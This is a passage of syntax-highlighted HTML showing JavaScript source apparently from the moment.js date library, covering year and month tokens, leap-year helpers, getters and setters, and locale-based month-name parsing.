class="string">&#x27;year&#x27;</span>);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;YYYYYY&#x27;</span>, <span class="number">6</span>, <span class="literal">true</span>], <span class="number">0</span>, <span class="string">&#x27;year&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;year&#x27;</span>, <span class="string">&#x27;y&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITIES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;year&#x27;</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;Y&#x27;</span>, matchSigned);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;YY&#x27;</span>, match1to2, match2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;YYYY&#x27;</span>, match1to4, match4);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;YYYYY&#x27;</span>, match1to6, match6);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;YYYYYY&#x27;</span>, match1to6, match6);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;YYYYY&#x27;</span>, <span class="string">&#x27;YYYYYY&#x27;</span>], <span class="variable constant_">YEAR</span>);</span><br><span class="line">    <span class="title function_">addParseToken</span>(<span class="string">&#x27;YYYY&#x27;</span>, <span class="keyword">function</span> (<span class="params">input, array</span>) &#123;</span><br><span class="line">        array[<span class="variable constant_">YEAR</span>] = input.<span class="property">length</span> === <span class="number">2</span> ? hooks.<span class="title function_">parseTwoDigitYear</span>(input) : <span class="title function_">toInt</span>(input);</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addParseToken</span>(<span class="string">&#x27;YY&#x27;</span>, <span class="keyword">function</span> (<span class="params">input, array</span>) &#123;</span><br><span class="line">        array[<span class="variable constant_">YEAR</span>] = hooks.<span class="title function_">parseTwoDigitYear</span>(input);</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addParseToken</span>(<span class="string">&#x27;Y&#x27;</span>, <span class="keyword">function</span> (<span class="params">input, array</span>) &#123;</span><br><span class="line">        array[<span class="variable constant_">YEAR</span>] = <span class="built_in">parseInt</span>(input, <span class="number">10</span>);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// HELPERS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">daysInYear</span>(<span class="params">year</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">isLeapYear</span>(year) ? <span class="number">366</span> : <span class="number">365</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isLeapYear</span>(<span class="params">year</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> (year % <span class="number">4</span> === <span class="number">0</span> &amp;&amp; year % <span class="number">100</span> !== <span class="number">0</span>) || year % <span class="number">400</span> === <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// HOOKS</span></span><br><span class="line"></span><br><span class="line">    hooks.<span class="property">parseTwoDigitYear</span> = <span class="keyword">function</span> (<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">toInt</span>(input) + (<span class="title function_">toInt</span>(input) &gt; <span class="number">68</span> ? <span class="number">1900</span> : <span class="number">2000</span>);</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> getSetYear = <span class="title function_">makeGetSet</span>(<span class="string">&#x27;FullYear&#x27;</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getIsLeapYear</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">isLeapYear</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">makeGetSet</span>(<span class="params">unit, keepTime</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">function</span> (<span class="params">value</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (value != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="title function_">set$1</span>(<span class="variable language_">this</span>, unit, value);</span><br><span class="line">                hooks.<span class="title function_">updateOffset</span>(<span class="variable language_">this</span>, keepTime);</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="title function_">get</span>(<span class="variable language_">this</span>, unit);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">get</span>(<span class="params">mom, unit</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> mom.<span class="title function_">isValid</span>() ?</span><br><span class="line">            mom.<span class="property">_d</span>[<span class="string">&#x27;get&#x27;</span> + (mom.<span class="property">_isUTC</span> ? <span class="string">&#x27;UTC&#x27;</span> : <span class="string">&#x27;&#x27;</span>) + unit]() : <span class="title class_">NaN</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">set$1</span>(<span class="params">mom, unit, value</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (mom.<span class="title function_">isValid</span>() &amp;&amp; !<span class="built_in">isNaN</span>(value)) &#123;</span><br><span class="line">            <span class="keyword">if</span> (unit === <span class="string">&#x27;FullYear&#x27;</span> &amp;&amp; <span class="title function_">isLeapYear</span>(mom.<span class="title function_">year</span>()) &amp;&amp; mom.<span class="title function_">month</span>() === <span class="number">1</span> &amp;&amp; mom.<span class="title function_">date</span>() === <span class="number">29</span>) &#123;</span><br><span class="line">                mom.<span class="property">_d</span>[<span class="string">&#x27;set&#x27;</span> + (mom.<span class="property">_isUTC</span> ? <span class="string">&#x27;UTC&#x27;</span> : <span class="string">&#x27;&#x27;</span>) + unit](value, mom.<span class="title function_">month</span>(), <span class="title function_">daysInMonth</span>(value, mom</span><br><span class="line">                    .<span class="title function_">month</span>()));</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                mom.<span class="property">_d</span>[<span class="string">&#x27;set&#x27;</span> + (mom.<span class="property">_isUTC</span> ? <span class="string">&#x27;UTC&#x27;</span> : <span class="string">&#x27;&#x27;</span>) + unit](value);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">stringGet</span>(<span class="params">units</span>) &#123;</span><br><span class="line">        units = <span class="title function_">normalizeUnits</span>(units);</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_">isFunction</span>(<span class="variable language_">this</span>[units])) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>[units]();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">stringSet</span>(<span class="params">units, value</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">typeof</span> units === <span class="string">&#x27;object&#x27;</span>) &#123;</span><br><span class="line">            units = <span class="title function_">normalizeObjectUnits</span>(units);</span><br><span class="line">            <span class="keyword">var</span> prioritized = <span class="title function_">getPrioritizedUnits</span>(units);</span><br><span class="line">            <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; prioritized.<span class="property">length</span>; i++) &#123;</span><br><span class="line">                <span class="variable language_">this</span>[prioritized[i].<span class="property">unit</span>](units[prioritized[i].<span class="property">unit</span>]);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            units = <span class="title function_">normalizeUnits</span>(units);</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">isFunction</span>(<span class="variable language_">this</span>[units])) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>[units](value);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">mod</span>(<span class="params">n, x</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> ((n % x) + x) % x;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> indexOf;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">indexOf</span>) &#123;</span><br><span class="line">        indexOf = <span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">indexOf</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        indexOf = <span class="keyword">function</span> (<span class="params">o</span>) &#123;</span><br><span class="line">            <span class="comment">// I know</span></span><br><span class="line">            <span class="keyword">var</span> i;</span><br><span class="line">            <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="variable language_">this</span>.<span class="property">length</span>; ++i) &#123;</span><br><span class="line">                <span class="keyword">if</span> (<span class="variable language_">this</span>[i] === o) &#123;</span><br><span class="line">                    <span class="keyword">return</span> i;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">daysInMonth</span>(<span class="params">year, month</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">isNaN</span>(year) || <span class="built_in">isNaN</span>(month)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">NaN</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">var</span> modMonth = <span class="title function_">mod</span>(month, <span class="number">12</span>);</span><br><span class="line">        year += (month - modMonth) / <span class="number">12</span>;</span><br><span class="line">        <span class="keyword">return</span> modMonth === <span class="number">1</span> ? (<span class="title function_">isLeapYear</span>(year) ? <span class="number">29</span> : <span class="number">28</span>) : (<span class="number">31</span> - modMonth % <span class="number">7</span> % <span class="number">2</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;M&#x27;</span>, [<span class="string">&#x27;MM&#x27;</span>, <span class="number">2</span>], <span class="string">&#x27;Mo&#x27;</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">month</span>() + <span class="number">1</span>;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;MMM&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params">format</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">monthsShort</span>(<span class="variable language_">this</span>, format);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;MMMM&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params">format</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">months</span>(<span class="variable language_">this</span>, format);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;month&#x27;</span>, <span class="string">&#x27;M&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITY</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;month&#x27;</span>, <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;M&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;MM&#x27;</span>, match1to2, match2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;MMM&#x27;</span>, <span class="keyword">function</span> (<span class="params">isStrict, locale</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> locale.<span class="title function_">monthsShortRegex</span>(isStrict);</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;MMMM&#x27;</span>, <span class="keyword">function</span> (<span class="params">isStrict, locale</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> locale.<span class="title function_">monthsRegex</span>(isStrict);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;M&#x27;</span>, <span class="string">&#x27;MM&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, array</span>) &#123;</span><br><span class="line">        array[<span class="variable constant_">MONTH</span>] = <span class="title function_">toInt</span>(input) - <span class="number">1</span>;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;MMM&#x27;</span>, <span class="string">&#x27;MMMM&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, array, config, token</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> month = config.<span class="property">_locale</span>.<span class="title function_">monthsParse</span>(input, token, config.<span class="property">_strict</span>);</span><br><span class="line">        <span class="comment">// if we didn&#x27;t find a month name, mark the date as invalid.</span></span><br><span class="line">        <span class="keyword">if</span> (month != <span class="literal">null</span>) &#123;</span><br><span class="line">            array[<span class="variable constant_">MONTH</span>] = month;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="title function_">getParsingFlags</span>(config).<span class="property">invalidMonth</span> = input;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// LOCALES</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">MONTHS_IN_FORMAT</span> = <span class="regexp">/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/</span>;</span><br><span class="line">    <span class="keyword">var</span> defaultLocaleMonths =</span><br><span class="line">        <span class="string">&#x27;January_February_March_April_May_June_July_August_September_October_November_December&#x27;</span>.<span class="title function_">split</span>(<span class="string">&#x27;_&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeMonths</span>(<span class="params">m, format</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!m) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">isArray</span>(<span class="variable language_">this</span>.<span class="property">_months</span>) ? <span class="variable language_">this</span>.<span class="property">_months</span> :</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_months</span>[<span class="string">&#x27;standalone&#x27;</span>];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">isArray</span>(<span class="variable language_">this</span>.<span class="property">_months</span>) ? <span class="variable language_">this</span>.<span class="property">_months</span>[m.<span class="title function_">month</span>()] :</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_months</span>[(<span class="variable language_">this</span>.<span class="property">_months</span>.<span class="property">isFormat</span> || <span class="variable constant_">MONTHS_IN_FORMAT</span>).<span class="title function_">test</span>(format) ? <span class="string">&#x27;format&#x27;</span> : <span class="string">&#x27;standalone&#x27;</span>]</span><br><span class="line">                [m.<span class="title function_">month</span>()];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultLocaleMonthsShort = <span class="string">&#x27;Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec&#x27;</span>.<span class="title function_">split</span>(<span class="string">&#x27;_&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeMonthsShort</span>(<span class="params">m, format</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!m) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">isArray</span>(<span class="variable language_">this</span>.<span class="property">_monthsShort</span>) ? <span class="variable language_">this</span>.<span class="property">_monthsShort</span> :</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_monthsShort</span>[<span class="string">&#x27;standalone&#x27;</span>];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">isArray</span>(<span class="variable language_">this</span>.<span class="property">_monthsShort</span>) ? <span class="variable language_">this</span>.<span class="property">_monthsShort</span>[m.<span class="title function_">month</span>()] :</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_monthsShort</span>[<span class="variable constant_">MONTHS_IN_FORMAT</span>.<span class="title function_">test</span>(format) ? <span class="string">&#x27;format&#x27;</span> : <span class="string">&#x27;standalone&#x27;</span>][m.<span class="title function_">month</span>()];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">handleStrictParse</span>(<span class="params">monthName, format, strict</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> i, ii, mom, llc = monthName.<span class="title function_">toLocaleLowerCase</span>();</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="property">_monthsParse</span>) &#123;</span><br><span class="line">            <span class="comment">// this is not used</span></span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_monthsParse</span> = [];</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_longMonthsParse</span> = [];</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_shortMonthsParse</span> = [];</span><br><span class="line">            <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">12</span>; ++i) &#123;</span><br><span class="line">                mom = <span class="title function_">createUTC</span>([<span class="number">2000</span>, i]);</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_shortMonthsParse</span>[i] = <span class="variable language_">this</span>.<span class="title function_">monthsShort</span>(mom, <span class="string">&#x27;&#x27;</span>).<span class="title function_">toLocaleLowerCase</span>();</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_longMonthsParse</span>[i] = <span class="variable language_">this</span>.<span class="title function_">months</span>(mom, <span class="string">&#x27;&#x27;</span>).<span class="title function_">toLocaleLowerCase</span>();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (strict) &#123;</span><br><span class="line">            <span class="keyword">if</span> (format === <span class="string">&#x27;MMM&#x27;</span>) &#123;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_shortMonthsParse</span>, llc);</span><br><span class="line">                <span class="keyword">return</span> ii !== -<span class="number">1</span> ? ii : <span class="literal">null</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_longMonthsParse</span>, llc);</span><br><span class="line">                <span class="keyword">return</span> ii !== -<span class="number">1</span> ? ii : <span class="literal">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (format === <span class="string">&#x27;MMM&#x27;</span>) &#123;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_shortMonthsParse</span>, llc);</span><br><span class="line">                <span class="keyword">if</span> (ii !== -<span class="number">1</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> ii;</span><br><span class="line">                &#125;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_longMonthsParse</span>, llc);</span><br><span class="line">                <span class="keyword">return</span> ii !== -<span class="number">1</span> ? ii : <span class="literal">null</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_longMonthsParse</span>, llc);</span><br><span class="line">                <span class="keyword">if</span> (ii !== -<span class="number">1</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> ii;</span><br><span class="line">                &#125;</span><br><span class="line">                ii = indexOf.<span class="title function_">call</span>(<span class="variable language_">this</span>.<span class="property">_shortMonthsParse</span>, llc);</span><br><span class="line">                <span class="keyword">return</span> ii !== -<span class="number">1</span> ? ii : <span class="literal">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">localeMonthsParse</span>(<span class="params">monthName, format, strict</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> i, mom, regex;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="property">_monthsParseExact</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> handleStrictParse.<span class="title function_">call</span>(<span class="variable language_">this</span>, monthName, format, strict);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="property">_monthsParse</span>) &#123;</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_monthsParse</span> = [];</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_longMonthsParse</span> = [];</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_shortMonthsParse</span> = [];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// <span class="doctag">TODO:</span> add sorting</span></span><br><span class="line">        <span class="comment">// Sorting makes sure if one month (or abbr) is a prefix of another</span></span><br><span class="line">        <span class="comment">// see sorting in computeMonthsParse</span></span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">12</span>; i++) &#123;</span><br><span class="line">            <span class="comment">// make the regex if we don&#x27;t have it already</span></span><br><span class="line">            mom = <span class="title function_">createUTC</span>([<span class="number">2000</span>, i]);</span><br><span class="line">            <span class="keyword">if</span> (strict &amp;&amp; !<span class="variable language_">this</span>.<span class="property">_longMonthsParse</span>[i]) &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_longMonthsParse</span>[i] = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">months</span>(mom, <span class="string">&#x27;&#x27;</span>).<span class="title function_">replace</span>(<span class="string">&#x27;.&#x27;</span>, <span class="string">&#x27;&#x27;</span>) + <span class="string">&#x27;$&#x27;</span>,</span><br><span class="line">                    <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_shortMonthsParse</span>[i] = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;^&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">monthsShort</span>(mom, <span class="string">&#x27;&#x27;</span>).<span class="title function_">replace</span>(<span class="string">&#x27;.&#x27;</span>, <span class="string">&#x27;&#x27;</span>) +</span><br><span class="line">                    <span class="string">&#x27;$&#x27;</span>, <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (!strict &amp;&amp; !<span class="variable language_">this</span>.<span class="property">_monthsParse</span>[i]) &#123;</span><br><span class="line">                regex = <span class="string">&#x27;^&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">months</span>(mom, <span class="string">&#x27;&#x27;</span>) + <span class="string">&#x27;|^&#x27;</span> + <span class="variable language_">this</span>.<span class="title function_">monthsShort</span>(mom, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">                <span class="variable language_">this</span>.<span class="property">_monthsParse</span>[i] = <span class="keyword">new</span> <span class="title class_">RegExp</span>(regex.<span class="title function_">replace</span>(<span class="string">&#x27;.&#x27;</span>, <span class="string">&#x27;&#x27;</span>), <span class="string">&#x27;i&#x27;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="comment">// test the regex</span></span><br><span class="line">            <span class="keyword">if</span> (strict &amp;&amp; format === <span class="string">&#x27;MMMM&#x27;</span> &amp;&amp; <span class="variable language_">this</span>.<span class="property">_longMonthsParse</span>[i].<span class="title function_">test</span>(monthName)) &#123;</span><br><span class="line">                <span class="keyword">return</span> i;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (strict &amp;&amp; format === <span class="string">&#x27;MMM&#x27;</span> &amp;&amp; <span class="variable language_">this</span>.<span class="property">_shortMonthsParse</span>[i].<span class="title function_">test</span>(monthName)) &#123;</span><br><span class="line">                <span class="keyword">return</span> i;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!strict &amp;&amp; <span class="variable language_">this</span>.<span class="property">_monthsParse</span>[i].<span class="title function_">test</span>(monthName)) &#123;</span><br><span class="line">                <span class="keyword">return</span> i;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">setMonth</span>(<span class="params">mom, value</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> dayOfMonth;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!mom.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="comment">// No op</span></span><br><span class="line">            <span class="keyword">return</span> mom;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">typeof</span> value === <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="regexp">/^\d+$/</span>.<span class="title function_">test</span>(value)) &#123;</span><br><span class="line">                value = <span class="title function_">toInt</span>(value);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                value = mom.<span class="title function_">localeData</span>().<span class="title function_">monthsParse</span>(value);</span><br><span class="line">                <span class="comment">// <span class="doctag">TODO:</span> Another silent failure?</span></span><br><span class="line">                <span class="keyword">if</span> (!<span class="title function_">isNumber</span>(value)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> mom;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        dayOfMonth = <span class="title class_">Math</span>.<span class="title function_">min</span>(mom.<span class="title function_">date</span>(), <span class="title function_">daysInMonth</span>(mom.<span class="title function_">year</span>(), value));</span><br><span class="line">        mom.<span class="property">_d</span>[<span class="string">&#x27;set&#x27;</span> + (mom.<span class="property">_isUTC</span> ? <span class="string">&#x27;UTC&#x27;</span> : <span class="string">&#x27;&#x27;</span>) + <span class="string">&#x27;Month&#x27;</span>](value, dayOfMonth);</span><br><span class="line">        <span class="keyword">return</span> mom;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetMonth</span>(<span class="params">value</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (value != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="title function_">setMonth</span>(<span class="variable language_">this</span>, value);</span><br><span class="line">            hooks.<span class="title function_">updateOffset</span>(<span class="variable language_">this</span>, <span class="literal">true</span>);</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">get</span>(<span class="variable language_">this</span>, <span class="string">&#x27;Month&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getDaysInMonth</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">daysInMonth</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="variable language_">this</span>.<span class="title function_">month</span>());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultMonthsShortRegex = matchWord;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">monthsShortRegex</span>(<span class="params">isStrict</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="property">_monthsParseExact</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">hasOwnProp</span>(<span class="variable language_">this</span>, <span 